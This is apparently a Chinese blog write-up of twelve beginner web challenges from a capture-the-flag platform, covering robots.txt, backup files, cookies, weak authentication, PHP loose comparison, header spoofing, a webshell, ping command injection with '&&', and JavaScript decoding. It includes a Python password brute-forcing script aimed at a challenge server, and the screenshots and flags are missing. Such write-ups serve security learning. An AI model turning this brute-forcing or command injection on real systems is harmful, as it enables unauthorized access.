攻防世界-Web新手区-Wp

1. view_source

按F12进入开发者选项,查看源码,得到flag:

2. robots

在地址栏添加robots.txt:

得到flag:

关于robots.txt:

  • robots.txt必须被放置在站点的根目录下。
  • robots.txt用于声明该网站哪些部分可以被爬虫(Spider)访问,而哪些不想。
  • 当一个爬虫访问一个站点时,它首先会检查该站点是否存在robots.txt,如果存在,爬虫会参照文件所示范围来访问网页;如果不存在,机器人将沿着链接爬取。

参考博客:https://www.cnblogs.com/yuzhongwusan/archive/2008/12/06/1348969.html

3. backup

打开的网页上显示:

根据提示在地址栏添加:index.php.bak,出现下载提示:

打开现在的文档,得到flag:

F12打开开发者选项,网络->查看cookie:

在地址栏添加cookie.php:

查看响应:

发现flag:

5. disabled_button

按钮不能按:

F12进入开发者工具,删掉html代码中圈出的部分:

点击按钮,得到flag:

6. weak_auth

随意输入账号密码,得到提示:

得到了用户名,对密码进行爆破,这里有两种方式:

  1. 使用Burpsuite抓包然后利用intruder功能进行爆破。
  2. 自己动手编写代码进行爆破

我选择编写Python脚本来练手:

import requests

url = 'http://220.249.52.133:45116/check.php'
data = {'username':'admin',
        'password':''}

f = open('../dictionary/弱口令.txt')   # 打开准备好的弱口令文件

for pwd in f.readlines():       
    print("Try " + pwd)
    pwd = pwd.strip('\n')       # 每次取一行数据并去掉末尾的'\n'
    data['password'] = pwd
    
    r = requests.post(url, data)
    res = r.text
    start_loc = res.find('<body>') + 6  # 定位body中的信息
    end_loc = res.find('</body>')
    ret_str = res[start_loc:end_loc]

    if ret_str != "\r\n\r\n<script>alert('password error');</script><!--maybe you need a dictionary-->\r\n\r\n\r\n":
        print("Password is " + pwd)     # 返回的信息与报错信息不一致则代表爆破成功
        break

得到flag:

7. simple_php

进入网站,得到提示:

考察PHP弱比较知识点,输入:

得到flag:

详解博客:https://www.cnblogs.com/qing123tian/p/10778615.html

8. get_post

  1. 使用get提交变量a=1

  2. 使用hackbar提交post请求:

9. xff_referer

提示:

使用xff插件修改ip:

得到提示:

使用hackbar修改referr:

得到flag:

10. webshell

给出提示:

使用中国蚁剑,登录webshell:

在flag.txt中得到flag:

11. command_execution

小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

随意输入一个IP地址,可以得到返回:

使用&&拼接命令:

查看flag.txt文件:

12. simple_js

使用burpsuite抓包,查看其中的js代码:

HTTP/1.1 200 OK
Date: Fri, 27 Nov 2020 00:55:58 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Vary: Accept-Encoding
Content-Length: 1225
Connection: close
Content-Type: text/html
<html>
<head>
    <title>JS</title>
    <script type="text/javascript">
    function dechiffre(pass_enc){
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
                var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = 1;
                        n = tab2.length;
                        for(i = (o=0; i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                                if(i == 5)break;}
                        for(i = (o=0); i < (k = j = n); i++ ){
                        o = tab[i-l];
                                if(i > 5 && i < k-1)
                                        p += String.fromCharCode((o = tab2[i]));

                        }
        p += String.fromCharCode(tab2[17]);
        pass = p;return pass;

    }

    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
    h = window.prompt('Enter password');
    alert( dechiffre(h) );
</script>
</head>
</html>

经分析,这段代码中并没有跳转页面,那么flag应就在代码之中,编写脚本将其中的两个ascci字符解码:

def dec2str(decList):
    result = ''
    for item in decList:
        result += chr(item)
    return result

if __name__ == "__main__":
    decList = [70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65]
    strL = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
    strL = strL.split(',')
    decList1 = []
    for item in strL:
        decList1.append(int(item))
    print(dec2str(decList))
    print(dec2str(decList1))

得到flag:

posted @ 2020-11-28 08:20  刷书狂魔  阅读(215)  评论(0编辑  收藏  举报
总访问: counter for blog 次